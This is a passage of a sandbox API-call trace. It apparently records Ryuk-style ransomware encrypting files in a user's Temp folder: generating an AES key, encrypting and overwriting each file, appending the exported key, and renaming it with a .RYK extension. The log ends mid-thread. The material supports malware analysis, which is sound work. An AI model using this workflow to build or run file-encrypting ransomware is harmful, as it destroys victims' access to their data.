	[0256.557] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxu.png.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.558] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x95ef678 | out: lpFileSize=0x95ef678*=17010) returned 1
	[0256.558] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x95ef688 | out: lpFileSize=0x95ef688*=17010) returned 1
	[0256.558] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x4150, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.558] ReadFile (in: hFile=0x824, lpBuffer=0x95ef6d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95ef640, lpOverlapped=0x0 | out: lpBuffer=0x95ef6d0*, lpNumberOfBytesRead=0x95ef640*=0x19, lpOverlapped=0x0) returned 1
	[0256.560] CloseHandle (hObject=0x824) returned 1

Thread:
	id = 2997
	os_tid = 0x1698

	[0256.562] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls.RYK", dwFileAttributes=0x80) returned 1
	[0256.563] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ly6qu.xls.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.563] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x977fc58 | out: lpFileSize=0x977fc58*=3906) returned 1
	[0256.563] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x977fc68 | out: lpFileSize=0x977fc68*=3906) returned 1
	[0256.563] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0xe20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.564] ReadFile (in: hFile=0x824, lpBuffer=0x977fcb0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x977fc20, lpOverlapped=0x0 | out: lpBuffer=0x977fcb0*, lpNumberOfBytesRead=0x977fc20*=0x19, lpOverlapped=0x0) returned 1
	[0256.566] CloseHandle (hObject=0x824) returned 1

Thread:
	id = 2998
	os_tid = 0x3114

	[0256.568] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a.RYK", dwFileAttributes=0x80) returned 1
	[0256.568] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mjmk8.m4a.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.569] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x988f598 | out: lpFileSize=0x988f598*=25602) returned 1
	[0256.569] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x988f5a8 | out: lpFileSize=0x988f5a8*=25602) returned 1
	[0256.569] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x62e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.569] ReadFile (in: hFile=0x824, lpBuffer=0x988f5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x988f560, lpOverlapped=0x0 | out: lpBuffer=0x988f5f0*, lpNumberOfBytesRead=0x988f560*=0x19, lpOverlapped=0x0) returned 1
	[0256.571] CloseHandle (hObject=0x824) returned 1

Thread:
	id = 2999
	os_tid = 0x309c

	[0256.574] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx", dwFileAttributes=0x80) returned 1
	[0256.574] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p1dmcr7iecksgiiec9o9.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.575] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x9a5f958 | out: lpFileSize=0x9a5f958*=55500) returned 1
	[0256.575] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x9a5f968 | out: lpFileSize=0x9a5f968*=55500) returned 1
	[0256.575] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0xd7aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.575] ReadFile (in: hFile=0x824, lpBuffer=0x9a5f9b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9a5f920, lpOverlapped=0x0 | out: lpBuffer=0x9a5f9b0*, lpNumberOfBytesRead=0x9a5f920*=0x19, lpOverlapped=0x0) returned 1
	[0256.578] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.578] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x9a5f938 | out: phKey=0x9a5f938*=0x2b9450) returned 1
	[0256.578] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.578] ReadFile (in: hFile=0x824, lpBuffer=0x3590000, nNumberOfBytesToRead=0xd8cc, lpNumberOfBytesRead=0x9a5f944, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesRead=0x9a5f944*=0xd8cc, lpOverlapped=0x0) returned 1
	[0256.579] CryptEncrypt (in: hKey=0x2b9450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9a5f940*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9a5f940*=0xf4250) returned 1
	[0256.579] CryptEncrypt (in: hKey=0x2b9450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3590000*, pdwDataLen=0x9a5f948*=0xd8cc, dwBufLen=0xf4250 | out: pbData=0x3590000*, pdwDataLen=0x9a5f948*=0xd8d0) returned 1
	[0256.580] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.580] WriteFile (in: hFile=0x824, lpBuffer=0x3590000*, nNumberOfBytesToWrite=0xd8d0, lpNumberOfBytesWritten=0x9a5f944, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesWritten=0x9a5f944*=0xd8d0, lpOverlapped=0x0) returned 1
	[0256.582] WriteFile (in: hFile=0x824, lpBuffer=0x9a5f970*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9a5f950, lpOverlapped=0x0 | out: lpBuffer=0x9a5f970*, lpNumberOfBytesWritten=0x9a5f950*=0x6, lpOverlapped=0x0) returned 1
	[0256.582] CryptExportKey (in: hKey=0x2b9450, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9a5f960 | out: pbData=0x0*, pdwDataLen=0x9a5f960*=0x10c) returned 1
	[0256.582] CryptExportKey (in: hKey=0x2b9450, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x9a5f9d0, pdwDataLen=0x9a5f960 | out: pbData=0x9a5f9d0*, pdwDataLen=0x9a5f960*=0x10c) returned 1
	[0256.582] WriteFile (in: hFile=0x824, lpBuffer=0x9a5f9d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9a5f950, lpOverlapped=0x0 | out: lpBuffer=0x9a5f9d0*, lpNumberOfBytesWritten=0x9a5f950*=0x10c, lpOverlapped=0x0) returned 1
	[0256.582] CloseHandle (hObject=0x824) returned 1
	[0256.586] CryptDestroyKey (hKey=0x2b9450) returned 1
	[0256.586] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p1dmcr7iecksgiiec9o9.pptx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p1dmcr7iecksgiiec9o9.pptx.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3000
	os_tid = 0x2e4c

	[0256.598] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a.RYK", dwFileAttributes=0x80) returned 1
	[0256.599] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qgojs5u056zz.m4a.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.600] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x9cef9d8 | out: lpFileSize=0x9cef9d8*=91506) returned 1
	[0256.600] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x9cef9e8 | out: lpFileSize=0x9cef9e8*=91506) returned 1
	[0256.600] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x16450, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.600] ReadFile (in: hFile=0x824, lpBuffer=0x9cefa30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9cef9a0, lpOverlapped=0x0 | out: lpBuffer=0x9cefa30*, lpNumberOfBytesRead=0x9cef9a0*=0x19, lpOverlapped=0x0) returned 1
	[0256.603] CloseHandle (hObject=0x824) returned 1

Thread:
	id = 3001
	os_tid = 0x2e48

	[0256.605] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3", dwFileAttributes=0x80) returned 1
	[0256.606] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824
	[0256.606] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x9e9f558 | out: lpFileSize=0x9e9f558*=96674) returned 1
	[0256.606] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x9e9f568 | out: lpFileSize=0x9e9f568*=96674) returned 1
	[0256.606] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x17880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.607] ReadFile (in: hFile=0x824, lpBuffer=0x9e9f5b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9e9f520, lpOverlapped=0x0 | out: lpBuffer=0x9e9f5b0*, lpNumberOfBytesRead=0x9e9f520*=0x19, lpOverlapped=0x0) returned 1
	[0256.609] CloseHandle (hObject=0x824) returned 1
	[0256.610] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3.ryk"), dwFlags=0x8) returned 1
	[0256.615] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3002
	os_tid = 0x3054

	[0257.911] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt.RYK", dwFileAttributes=0x80) returned 1
	[0257.912] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qwbhm.odt.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880
	[0257.912] GetFileSizeEx (in: hFile=0x880, lpFileSize=0xa00fcd8 | out: lpFileSize=0xa00fcd8*=61586) returned 1
	[0257.912] GetFileSizeEx (in: hFile=0x880, lpFileSize=0xa00fce8 | out: lpFileSize=0xa00fce8*=61586) returned 1
	[0257.912] SetFilePointerEx (in: hFile=0x880, liDistanceToMove=0xef70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0257.912] ReadFile (in: hFile=0x880, lpBuffer=0xa00fd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa00fca0, lpOverlapped=0x0 | out: lpBuffer=0xa00fd30*, lpNumberOfBytesRead=0xa00fca0*=0x19, lpOverlapped=0x0) returned 1
	[0257.915] CloseHandle (hObject=0x880) returned 1

Thread:
	id = 3015
	os_tid = 0x1728

	[0257.920] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi", dwFileAttributes=0x80) returned 1
	[0257.921] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x718
	[0257.921] GetFileSizeEx (in: hFile=0x718, lpFileSize=0x8c5fbb8 | out: lpFileSize=0x8c5fbb8*=95730) returned 1
	[0257.921] GetFileSizeEx (in: hFile=0x718, lpFileSize=0x8c5fbc8 | out: lpFileSize=0x8c5fbc8*=95730) returned 1
	[0257.921] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x174d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0257.921] ReadFile (in: hFile=0x718, lpBuffer=0x8c5fc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c5fb80, lpOverlapped=0x0 | out: lpBuffer=0x8c5fc10*, lpNumberOfBytesRead=0x8c5fb80*=0x19, lpOverlapped=0x0) returned 1
	[0257.924] CloseHandle (hObject=0x718) returned 1
	[0257.924] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi.ryk"), dwFlags=0x8) returned 1
	[0257.942] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3016
	os_tid = 0x1684

	[0257.950] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav", dwFileAttributes=0x80) returned 1
	[0257.951] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818
	[0257.951] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x8e9f658 | out: lpFileSize=0x8e9f658*=17298) returned 1
	[0257.951] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x8e9f668 | out: lpFileSize=0x8e9f668*=17298) returned 1
	[0257.951] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0x4270, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0257.951] ReadFile (in: hFile=0x818, lpBuffer=0x8e9f6b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e9f620, lpOverlapped=0x0 | out: lpBuffer=0x8e9f6b0*, lpNumberOfBytesRead=0x8e9f620*=0x19, lpOverlapped=0x0) returned 1
	[0257.953] CloseHandle (hObject=0x818) returned 1
	[0257.954] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav.ryk"), dwFlags=0x8) returned 1
	[0257.959] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3017
	os_tid = 0x32ec

	[0257.967] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav.RYK", dwFileAttributes=0x80) returned 1
	[0257.968] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ry6fzp6k kz.wav.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884
	[0257.968] GetFileSizeEx (in: hFile=0x884, lpFileSize=0x90afd18 | out: lpFileSize=0x90afd18*=80898) returned 1
	[0257.968] GetFileSizeEx (in: hFile=0x884, lpFileSize=0x90afd28 | out: lpFileSize=0x90afd28*=80898) returned 1
	[0257.968] SetFilePointerEx (in: hFile=0x884, liDistanceToMove=0x13ae0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0257.968] ReadFile (in: hFile=0x884, lpBuffer=0x90afd70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90afce0, lpOverlapped=0x0 | out: lpBuffer=0x90afd70*, lpNumberOfBytesRead=0x90afce0*=0x19, lpOverlapped=0x0) returned 1
	[0257.970] CloseHandle (hObject=0x884) returned 1

Thread:
	id = 3018
	os_tid = 0x32e8

	[0257.975] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4.RYK", dwFileAttributes=0x80) returned 1
	[0257.976] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ss2b.mp4.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0257.976] GetFileSizeEx (in: hFile=0x870, lpFileSize=0x91bf9d8 | out: lpFileSize=0x91bf9d8*=97298) returned 1
	[0257.976] GetFileSizeEx (in: hFile=0x870, lpFileSize=0x91bf9e8 | out: lpFileSize=0x91bf9e8*=97298) returned 1
	[0257.976] SetFilePointerEx (in: hFile=0x870, liDistanceToMove=0x17af0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
